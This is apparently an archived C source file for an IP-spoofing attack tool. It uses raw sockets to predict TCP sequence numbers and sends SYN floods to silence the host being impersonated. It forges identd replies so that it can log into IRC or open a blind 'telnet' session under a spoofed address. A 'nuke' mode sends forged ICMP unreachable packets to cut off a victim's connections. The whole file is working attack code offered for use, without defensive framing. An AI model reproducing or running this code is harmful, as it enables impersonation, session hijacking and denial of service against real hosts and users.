home *** CD-ROM | disk | FTP | other *** search
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <stdio.h>
- #include <sys/utsname.h>
-
- #define UNREACHHOST "0.0.0.1"
-
- int readsock,sendsock,debug=1;
- unsigned short ipident;
-
- typedef struct {
- struct sockaddr_in from;
- struct sockaddr_in dest;
- unsigned short sport;
- unsigned short dport;
- unsigned long seq;
- unsigned long ack;
- } spoofrec;
-
- unsigned short in_cksum(unsigned short *addr, int len) /* from ping.c */
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
-
- /*
- * Our algorithm is simple, using a 32 bit accumulator (sum),
- * we add sequential 16 bit words to it, and at the end, fold
- * back all the carry bits from the top 16 bits into the lower
- * 16 bits.
- */
- while( nleft > 1 ) {
- sum += *w++;
- nleft -= 2;
- }
-
- /* mop up an odd byte, if necessary */
- if( nleft == 1 ) {
- *(u_char *)(&answer) = *(u_char *)w ;
- sum += answer;
- }
-
- /*
- * add back carry outs from top 16 bits to low 16 bits
- */
- sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
- sum += (sum >> 16); /* add carry */
- answer = ~sum; /* truncate to 16 bits */
- return (answer);
- }
-
- int resolve_host(char *host,struct sockaddr_in *sa)
- {
- struct hostent *ent ;
-
- bzero(sa,sizeof(struct sockaddr));
- sa->sin_family = AF_INET;
- sa->sin_addr.s_addr = inet_addr(host);
- if (inet_addr(host) == -1) {
- ent = gethostbyname(host);
- if (ent != NULL) {
- sa->sin_family = ent->h_addrtype;
- bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
- return(0);
- } else {
- fprintf(stderr,"error: unknown host %s\n",host);
- return(-1);
- }
- }
- return(0);
- }
-
- typedef struct {
- unsigned char vh;
- unsigned char stype;
- unsigned short length;
- unsigned short ident;
- unsigned short frag;
- unsigned char ttl;
- unsigned char protocol;
- unsigned short cksum;
- struct in_addr sip;
- struct in_addr dip;
- } iprec;
-
- typedef struct {
- unsigned short sport;
- unsigned short dport;
- unsigned long seqnum;
- unsigned long acknum;
- unsigned short hrc;
- unsigned short window;
- unsigned short cksum;
- unsigned short urgentptr;
- } tcprec;
-
- typedef struct {
- struct in_addr sip;
- struct in_addr dip;
- unsigned char zero;
- unsigned char proto;
- unsigned short tcplen;
- } tcpsrec;
-
- typedef struct {
- unsigned char type;
- unsigned char code;
- unsigned short cksum;
- unsigned long zero;
- iprec ip;
- unsigned short sport;
- unsigned short dport;
- unsigned long seq;
- } icmprec;
-
- #define CF_URG 0x2000
- #define CF_ACK 0x1000
- #define CF_PSH 0x0800
- #define CF_RST 0x0400
- #define CF_SYN 0x0200
- #define CF_FIN 0x0100
-
- #define MAXDATA 1436
- #define MAXSIZE sizeof(tcpsrec)+sizeof(tcprec)+MAXDATA
-
- unsigned short tcpcksum(spoofrec *spoof, char *b, short length)
- {
- char buf[MAXSIZE];
- tcpsrec *tcps;
-
- tcps=(tcpsrec *)buf;
- tcps->sip=spoof->from.sin_addr;
- tcps->dip=spoof->dest.sin_addr;
- tcps->zero=0;
- tcps->proto=6;
- tcps->tcplen=htons(length);
- memcpy(&buf[sizeof(tcpsrec)],(void *)b,length);
-
- return(in_cksum((unsigned short *)buf,sizeof(tcpsrec)+length));
- }
-
- void sendicmp(spoofrec *spoof, struct sockaddr_in *from, unsigned short code)
- {
- iprec *ip;
- icmprec *icmp;
- char buf[MAXSIZE];
-
- bzero(buf,MAXSIZE);
-
- ip=(iprec *)buf;
- icmp=(icmprec *)&buf[sizeof(iprec)];
-
- ip->vh=0x45;
- ip->stype=0;
- ip->length=htons(sizeof(iprec)+20);
- ip->ident=htons(ipident++);
- ip->frag=0;
- ip->ttl=64;
- ip->protocol=1;
- ip->cksum=0;
- ip->sip=from->sin_addr;
- ip->dip=spoof->dest.sin_addr;
- ip->cksum=in_cksum((unsigned short *)ip,sizeof(iprec));
-
- icmp->type=3;
- icmp->code=code;
- icmp->zero=0;
- icmp->ip.vh=0x45;
- icmp->ip.stype=0;
- icmp->ip.length=htons(sizeof(iprec)+sizeof(tcprec));
- icmp->ip.ident=htons(ipident++);
- icmp->ip.frag=0;
- icmp->ip.ttl=64;
- icmp->ip.protocol=6;
- icmp->ip.cksum=0;
- icmp->ip.sip=spoof->dest.sin_addr;
- icmp->ip.dip=spoof->from.sin_addr;
- icmp->ip.cksum=in_cksum((unsigned short *)&icmp->ip,sizeof(iprec));
- icmp->sport=htons(1234);
- icmp->dport=htons(6667);
- icmp->seq=htonl(1000000);
- icmp->cksum=0;
- icmp->cksum=in_cksum((unsigned short *)icmp,sizeof(icmprec));
-
- if (sendto(sendsock, (void *)buf, sizeof(iprec)+sizeof(icmprec), 0, &spoof->dest, sizeof(spoof->dest)) < 0)
- perror("sending message");
-
- }
-
- void sendtcp(spoofrec *spoof, unsigned short code, char *data, short datalen, short sn, short rep)
- {
- iprec *ip;
- tcprec *tcp;
- char buf[MAXSIZE];
- short i,i1,hsize,tsize=0;
- unsigned long ack;
-
- bzero(buf,MAXSIZE);
-
- ip=(iprec *)buf;
- tcp=(tcprec *)&buf[sizeof(iprec)];
-
- if (code & CF_SYN) {
- hsize=6;
- buf[sizeof(iprec)+20]=2;
- buf[sizeof(iprec)+20+1]=4;
- buf[sizeof(iprec)+20+2]=(MAXDATA>>8) & 0xFF;
- buf[sizeof(iprec)+20+3]=(MAXDATA) & 0xFF;
- spoof->seq++;
- } else
- hsize=5;
-
- tsize=sizeof(iprec)+(hsize*4);
-
- if (datalen) {
- memcpy(&buf[tsize],data,datalen);
- tsize+=datalen;
- }
-
- ip->vh=0x45;
- ip->stype=0;
- ip->length=htons(tsize);
- ip->ident=htons(ipident++);
- ip->frag=0;
- ip->ttl=64;
- ip->protocol=6;
- ip->cksum=0;
- ip->sip=spoof->from.sin_addr;
- ip->dip=spoof->dest.sin_addr;
- ip->cksum=in_cksum((unsigned short *)ip,sizeof(iprec));
-
- ack=spoof->ack;
-
- for (i=0;i<sn;i++) {
- tcp->sport=spoof->sport;
- tcp->dport=spoof->dport;
- tcp->seqnum=htonl(spoof->seq);
- tcp->acknum=htonl(ack);
- tcp->hrc=(hsize<<4) + code;
- if (code & CF_SYN)
- tcp->window=htons(512);
- else
- tcp->window=htons(14360);
- tcp->urgentptr=0;
- tcp->cksum=0;
- tcp->cksum=tcpcksum(spoof,(char *)tcp,tsize-sizeof(iprec));
-
- ack+=64000;
-
- for (i1=0;i1<rep;i1++) {
- if (sendto(sendsock, (void *)buf, tsize, 0, &spoof->dest, sizeof(spoof->dest)) < 0)
- perror("sending message");
- }
- }
- spoof->seq+=datalen;
- }
-
- short gettcp(spoofrec *spoof, tcprec *dtcp)
- {
- int numread;
- char buf[MAXSIZE];
- tcprec *tcp;
-
- if ((numread=read(readsock,buf,MAXSIZE)) < 0) {
- perror("reading from socket");
- exit(1);
- }
- if ((buf[0]>>4) != 4) {
- /* printf("Not IP packet\n"); */
- return(0);
- }
- if (buf[9] != 6) {
- /* printf("Not TCP packet\n"); */
- return(0);
- }
-
- tcp=(tcprec *)&buf[20];
- if (memcmp(&spoof->dest.sin_addr,&buf[12],4)!=0)
- return(0);
-
- memcpy((void *)dtcp,(void *)tcp,sizeof(tcprec));
- return(1);
- }
-
- void sendstring(spoofrec *spoof, char *s)
- {
- sendtcp(spoof,CF_ACK | CF_PSH,s,strlen(s),6,2);
- }
-
- void main(int argc, char *argv[])
- {
- int i,i1,done,mode,noflood=1,spoofidentd=1,waitidentd=0;
- struct sockaddr_in name;
- tcprec tcp;
- spoofrec seqpred,spoof,identd,flood;
- unsigned short portbase,curpos,fromport;
- unsigned int lasttime,iport,starttime;
- char s[81],ch,*nickname,*username,*gecos,*spoofhost,*newbbuf;
- struct hostent *lookup;
- struct utsname ub;
- unsigned char s1[81];
-
- if (argc<4) {
- printf("Usage: %s <your ip> <dest ip> <port> [options]\n",argv[0]);
- printf(" -i [<nickname> <username@host> <gecos info>] Log onto IRC\n");
- printf(" -t <host>\t\tCreate's a telnet like connection\n");
- printf(" -s <unreach host>\tTest's to see if the machine is SYN floodable\n");
- printf(" -w \t\tWait for identd port before continuing\n");
- printf(" -d \t\tAttempt to spoof identd\n");
- printf(" -f \t\tFlood the spoof'd IP\n");
- printf(" -n <host>\t\tNuke the person from this host. your ip=irc server\n\n");
- printf(" If no options specified, then it will just test the machine to see if it\n");
- printf(" is ip spoofable\n\n");
- printf("Note: IP's can be interchanged with a hostname\n");
- printf("Note: Surround the gecos field with \" to preserve the spaces\n");
- exit(1);
- }
-
- mode=0;
- for (i=4;i<argc;i++) {
- if ((argv[i][0]=='-') || (argv[i][0]=='/')) {
- switch (toupper(argv[i][1])) {
- case 'I':
- mode=1;
- nickname=argv[++i];
- username=argv[++i];
- spoofhost=strchr(username,'@');
- if (!spoofhost) {
- printf("Couldn't parse %s into user and host\n",username);
- exit(1);
- }
- *(spoofhost++)=0;
- gecos=argv[++i];
- if (debug) {printf("Connecting to IRC as %s - %s@%s - %s\n",nickname,username,spoofhost,gecos);}
- break;
- case 'T':
- printf("Creating \"telnet\" connection\n");
- spoofhost=argv[++i];
- mode=2;
- break;
- case 'S':
- printf("Testing host for SYN flood vulnerability\n");
- spoofhost=argv[++i];
- mode=3;
- break;
- case 'F':
- noflood=0;
- break;
- case 'D':
- spoofidentd=1;
- break;
- case 'W':
- waitidentd=1;
- break;
- case 'N':
- printf("Nuking host\n");
- spoofhost=argv[++i];
- mode=4;
- break;
- }
- }
- }
-
- if (noflood) {
- fromport=1024+getpid();
- if (fromport<1024)
- fromport+=1024;
- } else
- fromport=7;
-
- if (!mode)
- printf("Testing machine for IP spoofablity\n");
-
- srand(time(NULL));
-
- /* Create socket on which to send. */
- if ((sendsock = socket(AF_INET, SOCK_RAW, 255)) < 0) {
- perror("opening raw send socket");
- exit(1);
- }
-
- /* Create socket on which to read. */
- if ((readsock = socket(AF_INET, SOCK_RAW, 6)) < 0) {
- perror("opening raw read socket");
- exit(1);
- }
- name.sin_family=AF_INET;
- name.sin_addr.s_addr=INADDR_ANY;
- name.sin_port=10000;
- if (bind(readsock, &name, sizeof(name))) {
- perror("binding read socket");
- exit(1);
- }
-
- /* We'll resolve all of the hosts here so we won't get any delays when */
- /* we need low latency on our side */
- if (resolve_host(argv[1],&seqpred.from)<0)
- exit(-1);
- if (resolve_host(argv[2],&spoof.dest)<0)
- exit(-1);
- if (mode>0) {
- if (resolve_host(spoofhost,&spoof.from)<0)
- exit(-1);
- if (resolve_host(UNREACHHOST,&flood.from)<0)
- exit(1);
-
- /* The flood dest address should be the spoof from */
- if ((strcmp(spoofhost,"127.0.0.1")==0) || (strcmp(spoofhost,"localhost")==0))
- flood.dest=spoof.dest;
- else
- flood.dest=spoof.from;
- }
-
- /* The seq prediction dest should be spoof dest also */
- seqpred.dest=spoof.dest;
-
- /* Print out some of the IP's */
- if (debug) {printf("This IP: %d.%d.%d.%d",
- ((unsigned char *)&seqpred.from.sin_addr)[0],
- ((unsigned char *)&seqpred.from.sin_addr)[1],
- ((unsigned char *)&seqpred.from.sin_addr)[2],
- ((unsigned char *)&seqpred.from.sin_addr)[3]);}
- if ((lookup = gethostbyaddr((char *)&seqpred.from.sin_addr,sizeof(long),AF_INET)) != NULL) {
- if (debug) {printf(" - %s",lookup->h_name);}}
- if (debug) {printf("\n");}
-
- if (mode > 0) {
- if (debug) {printf("From IP: %d.%d.%d.%d",
- ((unsigned char *)&spoof.from.sin_addr)[0],
- ((unsigned char *)&spoof.from.sin_addr)[1],
- ((unsigned char *)&spoof.from.sin_addr)[2],
- ((unsigned char *)&spoof.from.sin_addr)[3]);}
- if ((lookup = gethostbyaddr((char *)&spoof.from.sin_addr,sizeof(long),AF_INET)) != NULL) {if (debug) {printf(" - %s",lookup->h_name);}}
- if (debug) {printf("\n");}
- }
-
- if (debug) {printf("Dest IP: %d.%d.%d.%d",
- ((unsigned char *)&spoof.dest.sin_addr)[0],
- ((unsigned char *)&spoof.dest.sin_addr)[1],
- ((unsigned char *)&spoof.dest.sin_addr)[2],
- ((unsigned char *)&spoof.dest.sin_addr)[3]);}
- if ((lookup = gethostbyaddr((char *)&spoof.dest.sin_addr,sizeof(long),AF_INET)) != NULL)
- if (debug) {printf(" - %s",lookup->h_name);}
- if (debug) {printf("\n");}
-
- /* Randomize some of the #'s */
- ipident=rand()%20000;
- spoof.seq=(rand()+10)*(rand()*10);
-
- /* Nuke host */
- if (mode==4) {
- for (i=0;i<10;i++)
- for (i1=0;i1<4;i1++)
- sendicmp(&seqpred,&spoof.from,i1);
- exit(1);
- }
-
- /* Test for SYN flooding */
- if (mode==3) {
- printf("Now testing host\n");
- setbuf(stdout,NULL);
- spoof.ack=0;
- spoof.dport=htons(atoi(argv[3]));
- seqpred.dport=htons(atoi(argv[3]));
- seqpred.sport=htons(getpid());
- lasttime=0;
- done=0;
- starttime=time(NULL)+20;
- while (!done) {
- if (lasttime < time(NULL)) {
- for (i=0;i<50;i++) {
- spoof.sport=htons(9000+i);
- sendtcp(&spoof,CF_SYN,NULL,0,1,1);
- }
- lasttime=time(NULL)+5;
- sendtcp(&seqpred,CF_ACK,NULL,0,1,2);
- }
- if (starttime<time(NULL)) {
- printf("Possibly SYN floodable\n");
- exit(1);
- }
- while (gettcp(&seqpred,&tcp)) {
- if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
- printf("Not SYN floodable\n");
- exit(1);
- }
- }
- }
- }
-
- /* Let's start the flood now */
- if ((mode>0) && (mode<4) && (!noflood)) {
- printf("Now flooding host\n");
- flood.seq=spoof.seq-64000;
- flood.ack=0;
- flood.dport=htons(fromport);
- for (i=0;i<50;i++) {
- flood.sport=htons(10000-i);
- sendtcp(&flood,CF_SYN,NULL,0,1,1);
- }
- /*
- flood.dport=htons(113);
- for (i=0;i<50;i++) {
- flood.sport=htons(11000-i);
- sendtcp(&flood,CF_SYN,NULL,0,1,1);
- }
- */
- }
-
- /* We'll use the already made socket API to connect to the remote machine */
- /* We do this because when we connect to the machine, it will auto- */
- /* magically send out an identd request. We'll capture the source port */
- /* when we're doing the seq # pred. */
- if (spoofidentd) {
- seqpred.dest.sin_port=htons(atoi(argv[3]));
- if ((i=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
- perror("Opening stream socket");
- exit(1);
- }
- if (connect(i, &seqpred.dest, sizeof(seqpred.dest)) < 0) {
- perror("Connecting stream socket");
- exit(1);
- }
- close(i);
- }
-
- seqpred.dport=htons(atoi(argv[3]));
- if (!mode) {
- portbase=1000;
- for (i=0;i<10;i++) {
- seqpred.sport=htons(portbase+i);
- sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
- sendtcp(&seqpred,CF_RST,NULL,0,1,1);
- }
- done=0;
- lasttime=0;
- while (!done) {
- if (gettcp(&seqpred,&tcp)) {
- if ((ntohs(tcp.dport)>=portbase) && (ntohs(tcp.dport)<=(portbase+10))) {
- if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
- printf("Connection refused\n");
- exit(1);
- }
- if (lasttime)
- printf("%d - %lu - %lu\n",ntohs(tcp.dport),ntohl(tcp.seqnum),ntohl(tcp.seqnum)-lasttime);
- else
- printf("%d - %lu\n",ntohs(tcp.dport),ntohl(tcp.seqnum));
- lasttime=ntohl(tcp.seqnum);
- }
- }
- }
- exit(1);
- }
-
- if (debug) {printf("Starting sequence # prediction\n");}
- portbase=(rand()%10000)+2000;
- lasttime=0;
- done=0;
- i=0;
- iport=0;
- while ((!done) || (waitidentd ? !iport : 0)) {
- /* Every 2 seconds, send out a SYN packet */
- if (lasttime<time(NULL)) {
- seqpred.sport=htons(portbase+i);
- sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
- i++;
- lasttime=time(NULL)+2;
- }
-
- while ((gettcp(&seqpred,&tcp)) && (!done)) {
- if ((ntohs(tcp.dport)==113) && (!iport)) {
- iport=ntohs(tcp.sport);
- if (debug) {printf("Identd port: %d\n",iport);}
- }
-
- if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
- if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
- printf("Connection refused\n");
- exit(1);
- }
- seqpred.ack=ntohl(tcp.seqnum);
- done=1;
- }
- }
- }
-
- if (debug) {printf("Port: %d\n",ntohs(seqpred.sport));}
-
- spoof.dport=seqpred.dport;
- spoof.sport=htons(fromport);
- spoof.seq=seqpred.seq+128000;
- spoof.ack=seqpred.ack+64000;
- if (debug) {printf("ACK: %lu\n",spoof.ack);}
-
- sendtcp(&spoof,CF_SYN,NULL,0,1,1);
- sleep(1);
- sendtcp(&spoof,CF_ACK,NULL,0,6,2);
-
- /* Now comes the time to spoof the identd connection */
- /* if ((iport) && (mode==1)) {*/
- identd.from=spoof.from;
- identd.dest=spoof.dest;
- identd.sport=htons(113);
- identd.seq=spoof.seq+128000;
- if (debug) {printf("Beginning identd spoofing\n");}
- for (i=0;i<25;i++) {
- /* Setup some variables */
- identd.dport=htons(iport+i+1);
- identd.seq+=128000;
- identd.ack=spoof.ack+64001;
-
- /* Send the connection accept packet */
- sendtcp(&identd,CF_SYN | CF_ACK,NULL,0,6,2);
-
- /* sleep(1); */
-
- /* Acknowledge the packet it sends us */
- /* We need to acknowledge the correct # of chars since we need to */
- /* close this connection quickly before ircII times out */
- identd.ack+=5;
- sprintf(s,"%d",ntohs(spoof.sport));
- identd.ack+=strlen(s);
- sprintf(s,"%d",ntohs(spoof.dport));
- identd.ack+=strlen(s);
- sendtcp(&identd,CF_ACK,NULL,0,6,2);
-
- /* Make our packet confirming our identity */
- sprintf(s,"%hu, %hu : USERID : UNIX : %s\r\n",ntohs(spoof.sport),ntohs(spoof.dport),username);
- sendstring(&identd,s);
-
- /* sleep(1); */
-
- /* And close the connection */
- sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,6,2);
- identd.seq++;
- identd.ack++;
- sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,6,2);
- }
- /* }*/
-
- sleep(1);
- if (mode==1) {
- sendstring(&spoof,"\n"); /* Send a blank line */
- sprintf(s,"NICK %s\n",nickname);
- sendstring(&spoof,s); /* Then the NICK */
- if (debug) {printf("%s",s);}
- sprintf(s,"USER %s nope nope :%s\n",username,gecos);
- sendstring(&spoof,s); /* And then USER */
- if (debug) {printf("%s",s);}
- sprintf(s,"MODE %s +i\n",nickname);
- sendstring(&spoof,s); /* And lastly the MODE */
- if (debug) {printf("%s",s);}
- if (!debug) {printf("Logging into irc server as: %s (%s@%s)\n",nickname,username,spoofhost);}
- }
-
- done=0;
- curpos=0;
- while (!done) {
- if (fread(&ch,sizeof(char),1,stdin)>0) {
- s[curpos++]=ch;
- if ((ch=='\r') || (ch=='\n')) {
- s[curpos]=0;
- sendstring(&spoof,s);
- curpos=0;
- }
- }
- }
-
- close(sendsock);
- close(readsock);
- printf("\n");
- }
-
-
-